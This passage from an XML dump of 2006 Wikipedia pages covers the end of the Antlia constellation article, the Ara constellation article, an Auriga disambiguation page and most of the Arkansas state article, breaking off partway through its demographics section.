| &amp;alpha; || [[Alpha Antliae]] || 4.28 || 366 ||
|-
| &amp;epsilon; || [[Epsilon Antliae]] || 4.51 || 700 ||
|-
| &amp;iota; || [[Iota Antliae]] || 4.60 || 199 ||
|-
| &amp;theta; || [[Theta Antliae]] || 4.78 || 384 ||
|-
| &amp;eta; || [[Eta Antliae]] || 5.23 || 106 ||
|- 
|  || [[U Antliae]] || 5.50 || 840 || [[carbon star]]
|-
| &amp;delta; || [[Delta Antliae]] || 5.57 || 481 ||
|-
| &amp;zeta;&amp;sup1; || [[Zeta Antliae|Zeta-1 Antliae]] || 5.75 || 372 || [[binary star]]; component magnitudes: 6.18, 7.00
|-
| &amp;zeta;&amp;sup2; || [[Zeta Antliae|Zeta-2 Antliae]] || 5.91 || 374 ||
|-
|  || [[HD 93083]] || 8.33 || 94.2 || has a planet
|}
Source: &lt;cite&gt;The Bright Star Catalogue, 5th Revised Ed.&lt;/cite&gt;, &lt;cite&gt;The Hipparcos Catalogue, ESA SP-1200&lt;/cite&gt;

The faint star [[DENIS 1048-39]], discovered in [[2000]] and located in the Antilia constellation, may be as close as 13.2 light years from the Sun.[http://www.hawaii.edu/ur/News_Releases/NR_Nov00/lowmass.html]

&lt;!-- Source of values for &quot;nebulae&quot;: SEDS' data on NGC --&gt;

==See also==
{{ConstellationsByLacaille}}
{{ConstellationList}}

== External links ==
{{Commons|Antlia}}

[[Category:Antlia constellation|*]]
* [http://www.nightskyinfo.com/constellations/antlia/ NightSkyInfo.com: Constellation Antlia]

[[ca:Màquina Pneumàtica (constel·lació)]]
[[da:Luftpumpen]]
[[de:Luftpumpe (Sternbild)]]
[[es:Antlia]]
[[fr:Machine pneumatique]]
[[ga:An tAerchaidéal]]
[[ko:공기펌프자리]]
[[id:Antlia]]
[[it:Antlia]]
[[la:Antlia (sidus)]]
[[lt:Siurblys (astronomija)]]
[[hu:Légszivattyú (csillagkép)]]
[[nl:Luchtpomp (sterrenbeeld)]]
[[ja:ポンプ座]]
[[nn:Luftpumpa]]
[[pl:Pompa (gwiazdozbiór)]]
[[pt:Antlia]]
[[ru:Насос (созвездие)]]
[[sk:Súhvezdie Výveva]]
[[th:กลุ่มดาวเครื่องสูบลม]]
[[vi:Tức Đồng]]
[[zh:唧筒座]]</text>
    </revision>
  </page>
  <page>
    <title>Ara (constellation)</title>
    <id>1927</id>
    <revision>
      <id>40039033</id>
      <timestamp>2006-02-17T18:06:54Z</timestamp>
      <contributor>
        <username>AstroMalasorte</username>
        <id>527461</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Ara |
abbreviation = Ara |
genitive = Arae |
symbology = the Altar |
RA = 17.39 |
dec= &amp;minus;53.58 |
areatotal = 237 |
arearank = 63rd |
numberstars = 1 |
starname = [[Beta Arae|&amp;beta; Ara]] |
starmagnitude = 2.9 |
meteorshowers = None |
bordering =
*[[Corona Australis]]
*[[Scorpius]]
*[[Norma (constellation)|Norma]]
*[[Triangulum Australe]]
*[[Apus]]
*[[Pavo (constellation)|Pavo]]
*[[Telescopium]] |
latmax = 25 |
latmin = 90 |
month = July |
notes=}}
'''Ara''' ([[Latin]] for ''[[Altar]]'') is a faint southerly [[constellation]] between the constellations [[Telescopium]] and [[Norma (constellation)|Norma]].

== Notable features ==
Ara's brightest star, [[Beta Arae|&amp;beta; Arae]], has an [[apparent magnitude]] of 2.9. Its &amp;gamma; star is a [[double star]] just south of &amp;beta;.  [[Mu Arae|&amp;mu; Arae]] is believed to have at least three planets orbiting it, one of which is thought to be rocky in nature.

== Notable deep sky objects ==
The northwest corner of Ara is crossed by the [[Milky Way]] and contains several [[open cluster]]s and [[diffuse nebula]]e. The brightest of the [[globular cluster]]s, [[NGC 6397]], is 8,200 [[light-year]]s from our [[solar system]] and may be the closest cluster of that kind.

== History ==
This constellation was one of [[Ptolemy]]'s original 48 constellations.

== Mythology ==
The altar, usually depicted upside down, but sometimes upright with the smoke drifting into the Milky Way, was identified as that of the [[centaur]] [[Chiron]]; its original Latin name was Ara Centauri. It was also occasionally called the altar of [[Dionysus]]. Since, however, the constellation was identified, and introduced, in the 18th Century, connection to this mythology is likely to have been by design of the constellation's creator, and unconnected to the actual beliefs of the ancient Greeks about this area of sky.

==Notable and named stars==
{| class=&quot;wikitable&quot;
|-
! [[Bayer designation|BD]]
! Names and other designations
! [[apparent magnitude|Mag.]]
! [[Light year|Ly]] away
! Comments
|-
| &amp;beta; || [[Beta Arae]] || 2.85 || 603 ||
|-
| &amp;alpha; || [[Alpha Arae]], Choo, Tchou || 2.95 || 242 ||
* &lt; &amp;#26485;  (Mandarin ''ch&amp;#468;'')  The pestle
* [[Be star]]
|-
| &amp;zeta; || [[Zeta Arae]], Tseen Yin || 3.12 || 574 ||
* &lt; &amp;#22825;&amp;#38512; (Mandarin ''ti&amp;#257;ny&amp;#299;n'')  The dark sky  [actually in Aries?]
|-
| &amp;gamma; || [[Gamma Arae]] || 3.34 || 1140 ||
|-
| &amp;delta; || [[Delta Arae]], Tseen Yin || 3.62 || 187 ||
* &lt; &amp;#22825;&amp;#38512; (Mandarin ''ti&amp;#257;ny&amp;#299;n'')  The dark sky  [actually in Aries?]
|-
| &amp;theta; || [[Theta Arae]] || 3.65 || 1010 ||
|-
| &amp;eta; || [[Eta Arae]] || 3.77 || 313 ||
|-
| &amp;epsilon;&amp;sup1; || [[Epsilon Arae|Epsilon-1 Arae]], Tso Kang || 4.06 || 304 ||
* &lt; &amp;#24038;&amp;#26356; (Mandarin ''zu&amp;#335;g&amp;#275;ng'')  The left watch  [actually in Aries?]
|-
| &amp;sigma; || [[Sigma Arae]] || 4.56 || 386 ||
|-
| &amp;lambda; || [[Lambda Arae]] || 4.76 || 71.3 ||
|-
| &amp;mu; || [[Mu Arae]] || 5.14 || 49.8 ||
* has three planets
|-
| &amp;kappa; || [[Kappa Arae]] || 5.19 || 398 ||
|-
| &amp;iota; || [[Iota Arae]] || 5.21 || 720 ||
* [[Gamma Cassiopeiae variable|Gamma Cassiopeiae type]] [[variable star]]
|-
| &amp;pi; || [[Pi Arae]] || 5.25 || 138 ||
|-
| &amp;epsilon;&amp;sup2; || [[Epsilon Arae|Epsilon-2 Arae]] || 5.27 || 85.9 ||
|-
| &amp;nu;&amp;sup1;, &amp;upsilon;&amp;sup1; || [[Nu Arae|Nu-1 Arae]], Upsilon-1 Arae, V539 Arae || 5.68 || 820 ||
* [[eclipsing binary]]
|-
| &amp;nu;&amp;sup2;, &amp;upsilon;&amp;sup2; || [[Nu Arae|Nu-2 Arae]], Upsilon-2 Arae || 6.09 || 508 ||
|}
Source: &lt;cite&gt;The Bright Star Catalogue, 5th Revised Ed.&lt;/cite&gt;, &lt;cite&gt;The Hipparcos Catalogue, ESA SP-1200&lt;/cite&gt;

== See also ==
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Ara}}
* [http://www.allthesky.com/constellations/norma/ The Deep Photographic Guide to the Constellations: Ara]
* [http://www.nightskyinfo.com/constellations/ara/ NightSkyInfo.com: Constellation Ara]
&lt;!-- The below are interlanguage links. --&gt;

[[Category:Ara constellation| ]]

[[ca:Altar (constel·lació)]]
[[cs:Oltář (souhvězdí)]]
[[da:Alteret]]
[[de:Altar (Sternbild)]]
[[es:Ara]]
[[fr:Autel (constellation)]]
[[ga:An Altóir]]
[[ko:제단자리]]
[[id:Ara]]
[[it:Ara (astronomia)]]
[[la:Ara (sidus)]]
[[lt:Aukuras (astronomija)]]
[[hu:Oltár (csillagkép)]]
[[nl:Altaar (sterrenbeeld)]]
[[ja:さいだん座]]
[[nn:Alteret]]
[[pl:Ołtarz (gwiazdozbiór)]]
[[pt:Ara]]
[[ru:Жертвенник (созвездие)]]
[[sk:Súhvezdie Oltár]]
[[sv:Altaret]]
[[th:กลุ่มดาวแท่นบูชา]]
[[zh:天坛座]]</text>
    </revision>
  </page>
  <page>
    <title>Auriga</title>
    <id>1928</id>
    <revision>
      <id>39870436</id>
      <timestamp>2006-02-16T12:46:15Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Auriga''' can refer to:

*[[Auriga (constellation)|A constellation of stars]]
*[[Auriga (slave)|A Roman slave chauffeur]]
*[[Alien: Resurrection|A spaceship in Alien: Resurrection]]

{{disambig}}

[[ca:Auriga]]
[[es:Auriga]]
[[it:Auriga]]
[[pl:Woźnica (gwiazdozbiór)]]
[[pt:Auriga]]
[[sv:Auriga]]</text>
    </revision>
  </page>
  <page>
    <title>Arkansas</title>
    <id>1930</id>
    <revision>
      <id>42066997</id>
      <timestamp>2006-03-03T16:11:04Z</timestamp>
      <contributor>
        <username>ScottMainwaring</username>
        <id>288266</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
----
{{US Confederate state |
  Name            = Arkansas |
  Fullname        = State of Arkansas |
  Flag            = Flag of Arkansas.svg |
  Flaglink      = [[Flag of Arkansas]] |
  Seal            = Arkansasstateseal.jpg |
  Map             = Map_of_USA_highlighting_Arkansas.png |
  Nickname        = The Natural State |
  Capital         = [[Little Rock, Arkansas|Little Rock]] |
  OfficialLang    = [[English language|English]] |
  LargestCity     = [[Little Rock, Arkansas|Little Rock]] |
  Governor        = [[Mike Huckabee|Mike Huckabee]] (R)|
  Senators        = [[Blanche Lincoln]] (D)
[[Mark Pryor]] (D) |
  PostalAbbreviation = AR |
  TradAbbreviation = Ark. |
  AreaRank        = 29&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 137&amp;nbsp;732 |
  LandArea        = 134&amp;nbsp;856 |
  WaterArea       = 2876 |
  PCWater         = 2.09 |
  PopRank         = 33&lt;sup&gt;rd&lt;/sup&gt; |
  2004Pop         = 2,752,629 |
  DensityRank     = 34&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 19.82 |
  AdmittanceOrder = 25&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[June 15]], [[1836]] |
  SecessionDate  = [[May 6]], [[1861]] |
  ReadmittanceDate  = [[June 22]], [[1868]] |
  TimeZone        = [[Central Standard Time Zone|Central]]: [[Coordinated Universal Time|UTC]]-6/[[Daylight saving time|DST]]-5 |
  Latitude        = 33°N to 36°30'N |
  Longitude       = 89°41'W to 94°42'W |
  Width           = 385 |
  Length          = 420 |
  HighestElev     = 839 |
  MeanElev        = 198 |
  LowestElev      = 17 |
  ISOCode         = US-AR |
  TradAbbrev      = Ark |
  Website         = www.state.ar.us
}}
'''Arkansas''' ([[IPA chart for English|pronounced]] {{IPA|/ˈɑ(r)k(ə)nˌsɑː/}} or {{IPA|/ˈɑ(r)k(ə)nˌsɔ/}}) is a [[U.S. Southern States|Southern]] [[U.S. state|state]] in the [[United States]].  The population according to the [[United States Census, 2004|2004 census]] was 2,752,629.  It was admitted as the 25th state of the United States in 1836.

==History==
The early French explorers of the state gave it its name, which is probably a phonetic spelling for the French word for &quot;downriver&quot; people, a reference to the [[Quapaw]] people and the river along which they settled. Other [[Native Americans in the United States|Native American]] nations living in present-day Arkansas were [[Caddo]], [[Cherokee]] and [[Osage]] Nations. 

On [[June 15]], [[1836]], Arkansas became the 25th state of the [[United States]] as a [[slave state]]. Arkansas refused to join the [[Confederate States of America]] until after [[Abraham Lincoln]] called for troops to invade South Carolina. It seceded from the Union on May 6, 1861. The state was the scene of numerous small-scale battles during the [[American Civil War]]. Under the Military Reconstruction Act, Congress, in June 1868, readmitted Arkansas. 

===Historical references===
*[http://www.questia.com/PM.qst?a=o&amp;d=3070180 Blair, Diane D. ''Arkansas Politics &amp; Government: Do the People Rule?'' (1998)]
*Deblack, Thomas A.  ''With Fire and Sword: Arkansas, 1861-1874'' (2003)
*Donovan,  Timothy P. and Willard B. Gatewood Jr., eds. ''The Governors of Arkansas'' (1981)
*Dougan, Michael B. ''Confederate Arkansas'' (1982), 
*Duvall, Leland. ed., ''Arkansas: Colony and State'' (1973)
*Fletcher, John Gould. ''Arkansas'' (1947)
*Hanson, Gerald T. and Carl H. Moneyhon. ''Historical Atlas of Arkansas'' (1992)
*Key, V. O.  ''Southern Politics'' (1949), chapter on Arkansas
*Moore, Waddy W. ed., ''Arkansas in the Gilded Age, 1874-1900'' (1976).
*[http://www.questia.com/PM.qst?a=o&amp;d=52694010 Peirce, Neal R. ''The Deep South States of America: People, Politics, and Power in the Seven Deep South States'' (1974)] solid reporting on politics and economics 1960-72
*Thompson, George H. ''Arkansas and Reconstruction'' (1976)
*Whayne, Jeannie M. et al. ''Arkansas: A Narrative History '' (2002)
*Whayne, Jeannie M. ''Arkansas Biography: A Collection of Notable Lives'' (2000)
*White, Lonnie J. ''Politics on the Southwestern Frontier: Arkansas Territory, 1819-1836'' (1964)

===Primary sources===
*Williams, C. Fred. ed. ''A Documentary History Of Arkansas'' (2005)
*[http://www.questia.com/PM.qst?a=o&amp;d=59509893 WPA., ''Arkansas: A Guide to the State'' (1941)]

==Law and government==
[[Image:LR capitol.jpg|thumb|right|The Arkansas State Capitol.]]
The current governor of Arkansas is [[Mike Huckabee]], a [[United States Republican Party|Republican]]. Huckabee, who had been elected lieutenant governor in a [[1993]] special election, became governor in [[1996]] when Governor [[Jim Guy Tucker]], a [[United States Democratic Party|Democrat]], was convicted as part of the [[Whitewater Scandal]].  This led to a state &quot;Constitutional crisis&quot; when Tucker refused to give up the governor's office for a short period of time, because the Arkansas Constitution does not allow a convicted felon to be governor of the state. Tucker had been lieutenant governor under [[Bill Clinton]] and had become governor as a result of Clinton's election to the presidency. 

Arkansas' two U.S. Senators are Democrats [[Blanche Lincoln]] and [[Mark Pryor]]. The state has four seats in House of Representatives. Three seats are held by Democrats&amp;mdash;[[Marion Berry]] ([http://nationalatlas.gov/printable/images/preview/congdist/ar01_109.gif map]), [[Vic Snyder]] ([http://nationalatlas.gov/printable/images/preview/congdist/ar02_109.gif map]), and [[Mike Ross]] ([http://nationalatlas.gov/printable/images/preview/congdist/ar04_109.gif map]). One seat is held by the state's lone Republican Congressman, [[John Boozman]] ([http://nationalatlas.gov/printable/images/preview/congdist/ar03_109.gif map]). The Democratic Party holds [[super-majority]] status in the [[Arkansas General Assembly]]. Republicans actually lost seats in the State House in 2004. A majority of local and statewide offices are also held by Democrats. This arrangement is extremely rare in the modern [[U.S. Southern States|South]], where a majority of statewide offices are held by Republicans.

Most Republican strength lies mainly in northwest Arkansas in the area around [[Fort Smith, Arkansas|Fort Smith]], while the rest of the state is strongly Democratic. Arkansas has only elected one Republican to the United States Senate since [[Reconstruction]] and the Arkansas General Assembly has not been controlled by the Republican Party since Reconstruction, and is the fourth most Democratic Legislature in the country, after [[Massachusetts General Court|Massachusetts]], [[Hawaii State Legislature|Hawaii]], and [[Connecticut General Assembly|Connecticut]]. Arkansas is also the only state among the states of the former [[Confederate States of America|Confederacy]] that sends two Democrats to the U.S. Senate.  However, the state is perceived as generally being conservative &amp;ndash; its voters passed a ban on [[gay marriage]] and Arkansas is one of a handful of states that has legislation on its books banning [[abortion]] in the event [[Roe vs. Wade]] is ever overturned.

In Arkansas, the lieutenant governor is elected separately from the governor and thus can be from a different political party.

Each office's term is four years long.  Office holders are [[term-limited]] to two full terms plus any partial terms prior to the first full term.

Some of Arkansas' [[counties]] have two county seats, as opposed to the usual one seat.  The arrangement dates back to when travel was extremely difficult in the states.  The seats are usually on opposite sides of the county.  Though travel is no longer the difficulty it once was, there are few efforts to eliminate the two seat arrangement where it exists, since the county seat is a source of pride (and jobs) to the city involved.

''See: [[List of Arkansas Governors]]''

===Pronunciation and symbols===
The state is the only one with a pronunciation specified by law.  
Section 105 of Chapter 4 of Title 1 of the Arkansas code&lt;sup&gt;[http://www.arkleg.state.ar.us/NXT/gateway.dll/ARCode/title00000.htm/chapter00063.htm/section00068.htm?f=templates$fn=document-frame.htm$3.0#JD_1-4-105]&lt;/sup&gt; determined in 1881 the official, codified pronunciation of Arkansas: &quot;It should be pronounced in three (3) syllables, with the final &quot;s&quot; silent, the &quot;a&quot; in each syllable with the Italian sound, and the accent on the first and last syllables.&quot;  The same section states that the variation ''are-KAN-sas'' &quot;is an innovation to be discouraged.&quot;

There are differing abbreviations of ''Arkansas'' in use:  '''AR''' ([[U.S. postal abbreviations|postal]]), 
'''Ark.''' ([[List of U.S. states by traditional abbreviation|traditional]] and [[AP Stylebook]]), and '''US-AR''' ([[ISO 3166-2]]).

The following [[Lists of U.S. state insignia|state symbol]]s are officially recognized by the state law.
*State American Folk Dance: [[Square Dance]]
*State Anthem: ''[[Arkansas (song)|Arkansas]]'' by [[Eva Ware Barnett]]
*State Beverage:[[ Milk]]
*State Bird: [[Mockingbird]]
*State Flower: [[Apple]] Blossom
*State Folk Dance: [[Square Dance]]
*State Fruit: South Arkansas Vine Ripe Pink [[Tomato]]
*State Gem: [[Diamond]]
*State Historical Song: ''The [[Arkansas Traveler]]'' (folk song)
*State Historic Cooking Vessel: [[Dutch oven]]
*State Insect: [[Honeybee]]
*State Mammal: [[White-tailed Deer]]
*State Mineral: [[Quartz]] Crystal
*State Motto: ''[[Regnat Populus]]'' (The People Rule)
*State Musical Instrument: the [[Fiddle]]
*State Rock: [[Bauxite]]
*State Soil: [[Stuttgart Soil Series]]
*State Songs: &quot;Arkansas (You Run Deep in Me)&quot; by Wayland Holyfield and &quot;Oh, Arkansas&quot; by Terry Rose and Gary Klass
*State Tree: Pine
*State Vegetable: South Arkansas Vine Ripe Pink Tomato

== Famous Arkansans ==
*[[John Harold Johnson]], [[Johnson Publishing Company]]. Born in [[Arkansas City, Arkansas]], January 19, 1918. 

*[[Johnny Cash]], [[Country Music]] [[legend]]. Born in [[Kingsland, Arkansas]], February 26th 1932.

*[[Buddy Jewell]], [[Country Music]] [[star]]. Born in [[Osceola, Arkansas]].

*[[Bill Clinton]], former [[President of the United States]].  Born August 19th 1946, in [[Hope, Arkansas]].

*[[Matt Jones]], [[NFL]] [[football]] [[star]] and 2005 1st round [[NFL draft]] pick to the [[Jacksonville Jaguars]]. Born April 22nd 1983 in [[Fort Smith, Arkansas]].

*[[Paul &quot;Bear&quot; Bryant]], [[legendary]] [[University of Alabama]] [[football]] [[coach]]. Born in [[Moro Bottom, Arkansas]] on September 11, 1913.

*[[Jody Evans]], rising [[Country Music]] [[star]]. Born November 15th, 1976, in [[Arkadelphia, Arkansas]].

*[[Derek Fisher]], [[NBA]] [[basketball]] [[star]]. Born August 9th, 1974 in [[Little Rock, Arkansas]].

*[[Billy Bob Thornton]], [[Hollywood]] [[film star]] and famous personality. August 4th 1955, in [[Hot Springs, Arkansas]].

*[[Jimmy Driftwood]], famous [[Folk Music]] and [[Country Music]] personality. Born June 20th 1907, in [[Mountain View, Arkansas]].

*[[Sam Walton]], creator of [[Wal Mart]] stores, and one of the worlds wealthiest men. Born in [[Oklahoma]], but created [[Wal Mart]] in 1962, in [[Rogers, Arkansas]].

*[[Alan Ladd]], [[Hollywood]] [[actor]] most famous for his leading role in ''[[Shane]]''. Born September 3rd 1913 in [[Hot Springs, Arkansas]].

*[[Mary Steenburgen]], [[Academy Award]]-winning [[Hollywood]] [[actress]] for her 1981 supporting role in ''Melvin and Howard'', and a co-star on the canceled [[CBS]] [[television program|television series]] ''[[Joan of Arcadia]]''. Born February 8th 1953 in [[Newport, Arkansas]].

*[[Glen Campbell]], [[Country Music]] [[star]] most famous for his songs &quot;[[Rhinestone Cowboy]]&quot; and &quot;[[Wichita Lineman]]&quot;.  Born in [[Delight, Arkansas]] in 1936. 

*[[Floyd Cramer]], famous [[musician]] most known for his [[piano]] [[instrumental]] &quot;Last Date&quot;.  Born in [[Shreveport, Louisiana]] and raised in [[Huttig, Arkansas]] in 1933. 

*[[Gail Davis]], [[Hollywood]] film actress, best know as [[Annie Oakley]] from the 1950's [[television series]]. Born in [[Little Rock, Arkansas|Little Rock]] on October 5th 1925 and raised in [[McGehee, Arkansas]].

*[[Tracy Lawrence]], [[Country Music]] [[star]]. Born in [[Atlanta, Texas]] in 1968, raised in [[Foreman, Arkansas]].

*[[Freeman Owens]], former [[World War I]] [[combat camera]] operator, who later perfected the art of putting sound on [[film]] as a [[pioneer]] in [[cinematography]]. Born in [[Pine Bluff, Arkansas]] in 1890.

*[[Dick Powell]], [[Hollywood]] [[actor]], [[producer]] and [[Film director|director]], best know for 1930's films such as ''[[42nd Street]]'' and ''[[A Midsummer Nights Dream]]''. Born in [[Mountain View, Arkansas]] in 1904.

*[[Collin Raye]], [[Country Music]] star best known for his songs &quot;Little Rock&quot;, and &quot;Love Me&quot;. Born in [[De Queen, Arkansas]] in 1960.

*[[Conway Twitty]], [[Country Music]] [[legend]] with number 1 music hits such as &quot;It's Only Make Believe&quot;, &quot;Hello Darlin' &quot; and &quot;Tight Fitting Jeans&quot;. Born in [[Friars Point, Mississippi]] in 1933, he was raised in [[Helena, Arkansas]].  Born with the name [[Harold Jenkins]], he took his [[stage name]] from the towns of [[Conway, Arkansas]] and [[Twitty, Texas]].

*[[John Grisham]], [[author]] and [[attorney]], best known for his books that were later transformed into popular [[movies]], such as ''[[The Pelican Brief]]'', ''[[A Time To Kill]]'', ''[[The Client]]'', ''[[The Rainmaker]]'', ''[[The Firm (book)|The Firm]]'' and ''[[The Chamber]]''.  Born in [[Jonesboro, Arkansas]] in 1955.

*[[Lou Brock]], former [[Major League Baseball]] player, thought to be the greatest [[base]] stealer of his era. Started his professional [[baseball]] career with the [[Chicago Cubs]] in 1961. Born in [[El Dorado, Arkansas]] in 1939.

*[[William Carr]], 1932 [[Olympic Gold Medalist]]. Born in [[Pine Bluff, Arkansas]] in 1909.

*[[John Daly]], [[PGA]] [[golf]] [[champion]]. Born in [[California]] in 1966, raised from age 5 in [[Dardanelle, Arkansas]].

*[[Dizzy Dean|Jay Hanna &quot;Dizzy&quot; Dean]], member of the [[National Baseball Hall of Fame]]. Born in [[Lucas, Arkansas]].

*[[Jerry Jones]], owner of the [[NFL]] team [[Dallas Cowboys]]. Born in 1942 in [[North Little Rock, Arkansas]], specifically hailing from [[Rose City, Arkansas|Rose City]].

*[[George Kell]], member of the [[National Baseball Hall of Fame]]. Born in 1942 in [[Swifton, Arkansas]].

*[[Mark Martin]], [[NASCAR]] [[race car]] driver. Born in 1956 in [[Batesville, Arkansas]].

*[[Sidney Moncrief]], retired [[NBA]] [[star]] who played for the [[Milwaukee Bucks]] and who set several college records with the [[University of Arkansas]]. Born in 1957 in [[Little Rock, Arkansas]].

*[[Scottie Pippen]], former [[NBA]] [[legend]] who played for the [[Chicago Bulls]] championship teams, and arguably one of the most talented players ever to play the game. Born in 1965 in [[Hamburg, Arkansas]]; attended the [[University of Central Arkansas]]. 

*[[Brooks Robinson]], member of the [[National Baseball Hall of Fame]]. Born in 1937 in [[Little Rock, Arkansas]].

*[[Barry Switzer]], former head [[coach]] of the [[NFL]] team [[Dallas Cowboys]]. Born in [[Crossett, Arkansas]] in 1937.

*[[John Hanks Alexander]], the first [[African American]] to hold a regular command position in the [[US Armed Forces]] and the second [[African American]] to graduate from [[West Point]]. Born in [[Helena, Arkansas]] on January 6th 1864.

*Corliss Williamson, former NBA 6th Man of the Year and member of the 2004 NBA Champion [http://www.nba.com/pistons Detroit Pistons]. Lead the Arkansas Razorbacks to the 1994 NCAA title. Now a member of the [http://www.nba.com/kings Sacramento Kings]. Born and raised in Russellville, Arkansas.

==Geography==
{{ussm|arkansas.PNG|ar}}
''See: [[List of Arkansas counties]], [[List of cities in Arkansas]], [[List of Arkansas townships]], [[List of Arkansas native plants]].''

The capital of Arkansas is [[Little Rock, Arkansas|Little Rock]]. Arkansas is the only state in the US where [[Diamond|diamonds]] are found naturally (near [[Murfreesboro, Arkansas]]).

The eastern border for most of Arkansas is the [[Mississippi River]] except in Clay and Greene counties where the St. Francis River forms the western boundary of the [[Missouri Bootheel]]. Arkansas shares its southern border with [[Louisiana]], its northern border with [[Missouri]], its eastern border with [[Tennessee]] and [[Mississippi]], and its western border with [[Texas]] and [[Oklahoma]]. Arkansas is a beautiful land of mountains and valleys, thick forests and fertile plains. Northwest Arkansas is part of the [[Ozark Plateau]] including the [[Boston Mountains]], to the south are the [[Ouachita Mountains]] and these regions are divided by the Arkansas River; the southern and eastern parts of Arkansas are called the Lowlands.  

The so called Lowlands are better known as the [[Mississippi embayment|Delta]] and the Grand Prairie.  The land along the Mississippi river is referred to as the &quot;Delta&quot; of Arkansas. It gets this name from the formation of its rich alluvial soils formed from the flooding of the mighty Mississippi.  The Grand Prairie is slightly away from the Mississippi river in the southeast portion of the state and consists of a more undulating landscape. Both are fertile agricultural areas and home to much of the crop agriculture in the state.
[[Image:PetitJean.jpg|right|thumb|260px|''Petit Jean State Park'', one of many attractions that give the state's nickname ''The Natural State''.]]
Arkansas is home to many [[List of caves in Arkansas|cave]]s, such as [[Blanchard Springs Caverns]]. [[Hot Springs National Park]] and the [[Buffalo National River]] can also be found within its borders.

===[[Interstate highway]]s===
*[[Interstate 30]]
*[[Interstate 40]]
*[[Interstate 55]]
*[[Interstate 430]]
*[[Interstate 440 (Arkansas)|Interstate 440]]
*[[Interstate 530]]
*[[Interstate 540 (Arkansas)|Interstate 540]]
*[[Interstate 630]]

===[[United States highway]]s===
{|
|-
| align=center | ''North-south routes''
| align=center | ''East-west routes''
|-
| valign=top |
*[[U.S. Highway 425]]
*[[U.S. Highway 49]]
*[[U.S. Highway 59]]
*[[U.S. Highway 61]]
*[[U.S. Highway 63]]
*[[U.S. Highway 65]]
*[[U.S. Highway 165]]
*[[U.S. Highway 67]]
*[[U.S. Highway 167]]
*[[U.S. Highway 71]]
*[[U.S. Highway 371]]
*[[U.S. Highway 79]]

| valign=top |
*[[U.S. Highway 412]]
*[[U.S. Highway 62]]
*[[U.S. Highway 64]]
*[[U.S. Highway 70]]
*[[U.S. Highway 270]]
*[[U.S. Highway 278]]
*[[U.S. Highway 82]]
|}

===Major Arkansas highways===
{|
|-
| align=center | ''North-south routes''
| align=center | ''East-west routes''
|-
| valign=top |
*[[Arkansas State Highway 1]]
*[[Arkansas State Highway 5]]
*[[Arkansas State Highway 7]]

| valign=top |
*[[Arkansas State Highway 4]]
*[[Arkansas State Highway 10]]
|}

==Economy==
[[Image:wiki_arkansas.jpg|thumb|300px|Greetings from Arkansas]]
The state's total gross state product for 2003 was $76 billion. Its Per Capita Personal Income for 2003 was $24,384, 50&lt;sup&gt;th&lt;/sup&gt; in the nation. The state's agriculture outputs are poultry and eggs, soybeans, sorghum, cattle, cotton, rice, hogs, and milk. Its industrial outputs are food processing, electric equipment, fabricated metal products, machinery, paper products, bromine, and vanadium.

In recent years, [[automobile]] parts manufacturers have opened factories in eastern Arkansas to support auto plants in other states (though Arkansas does not yet have an auto plant itself, it is rumored to be a future site for a [[Toyota]] plant as well as for a truck plant to be built by Toyota's subsidiary [[Hino Motors]]).

Tourism is also very important to the Arkansas economy; the official state nickname &quot;The Natural State&quot; is prominently displayed in state tourism advertising.

The effect of [[Tyson Foods]], [[Wal-Mart]], [[J.B. Hunt]] and other multinational companies located in NW Arkansas cannot be understated. The area is currently in a long-running economic boom due to being the forefront of Global Trade. [[Wal-Mart]] alone accounts for $8.90 out of every $100 spent in U.S. retail stores.

==Demographics==
{{main|List of people from Arkansas}}
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 1,062
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 14,273
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 30,388
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 97,574
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 209,897
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 435,450
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 484,471
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 802,525
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 1,128,211
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 1,311,564
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 1,574,449
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 1,752,204
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 1,854,482
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 1,949,387
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 1,909,511
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 1,786,272
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 1,923,295
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 2,286,435
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 2,350,725
|-
| align=&quot;center&quot;| [[United States 2004 Census|2004]] || align=&quot;right&quot;| 2,752,629
|}

As of 2005, Arkansas has an estimated population of 2,779,154, which is an increase of 29,154, or 1.1%, from the prior year and an increase of 105,756, or 4.0%, since the year 2000.  This includes a natural increase since the last census of 52,214 people (that is 198,800 births minus 146,586 deaths) and an increase due to net migration of 57,611 people into the state.  Immigration from outside the United States resulted in a net increase of 21,947 people, and migration within the country produced a net increase of 35,664 people.

48.8% is male, and 51.2% is female.

Racially, Arkansas is:
*78.6% [[Whites|White]] non-Hispanic
